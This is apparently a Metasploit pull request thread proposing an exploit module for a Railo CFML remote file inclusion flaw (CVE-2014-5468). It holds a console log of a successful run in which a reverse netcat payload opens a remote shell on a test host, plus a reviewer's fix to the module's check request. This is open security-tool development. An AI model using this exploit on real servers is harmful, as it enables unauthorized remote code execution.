Create railo_cfml_rfi.rb

This PR creates a new module that exploits dronesec's CVE-2014-5468 vulnerability detailed here: http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/

There are a few things in this module that are of concern however. For one, I need an image of a larger size in order to exploit this. I currently just call curl in order to get this image. It would be great if there was an image in the tree that I could simply read from the FS relatively from the module, as the curl I am doing is hella-hacky. Would love some feedback on how to do this properly.

Also need to add a check method, still. Wanted to get some initial critique. This is a relatively preliminary PR.


Quick run:

```
msf exploit(railo_cfml_rfi) > show options

Module options (exploit/linux/http/railo_cfml_rfi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        Use a proxy chain
   RHOST    172.31.16.19     yes       The target address
   RPORT    8888             yes       The target port
   SRVHOST  172.31.16.19     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.31.16.19     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(railo_cfml_rfi) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 172.31.16.19:4444 
[*] Using URL: http://172.31.16.19:8080/nhgmBsPfiqHUfwr.cfm
[*] Using URL: http://172.31.16.19:8080/CkvIPPhUbWfNeuP
msf exploit(railo_cfml_rfi) >   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16013  100 16013    0     0  19409      0 --:--:-- --:--:-- --:--:-- 20192
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16013  100 16013    0     0  32956      0 --:--:-- --:--:-- --:--:-- 32948
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16013  100 16013    0     0  69944      0 --:--:-- --:--:-- --:--:-- 70232
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 16013  100 16013    0     0  32189      0 --:--:-- --:--:-- --:--:-- 32546
[*] Waiting for first stage to download...
[*] Command shell session 2 opened (172.31.16.19:4444 -> 172.31.16.19:60187) at 2014-08-28 06:40:59 -0700
[*] Server stopped.

msf exploit(railo_cfml_rfi) > sessions -l

Active sessions
===============

  Id  Type        Information  Connection
  --  ----        -----------  ----------
  2   shell unix               172.31.16.19:4444 -> 172.31.16.19:60187 (172.31.16.19)

msf exploit(railo_cfml_rfi) > sessions -i 2
[*] Starting interaction with 2...

id
uid=1000(bperry) gid=1000(bperry) groups=1000(bperry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

```

Excellent catch!

On Tue, Sep 9, 2014 at 2:37 PM, Jon Hart <notifications@github.com> wrote:

> In modules/exploits/linux/http/railo_cfml_rfi.rb:
>
> > +          },
> > +        ],
> > +      ],
> > +      'DefaultTarget' => 0,
> > +      'DisclosureDate' => 'Aug 26 2014'))
> > +
> > +      register_options(
> > +        [
> > +          OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']),
> > +          OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10])
> > +        ], self.class)
> > +  end
> > +
> > +  def check
> > +    res = send_request_cgi({
> > +      'url' => normalize_uri(target_uri.path, 'res', 'css', 'admin42.css.cfm')
>
> uri, not url. This will false positive on anything that returns a 200 for
> / because send_request_cgi requests / when no uri is present
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/rapid7/metasploit-framework/pull/3721/files#r17322712>
> .
>



-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website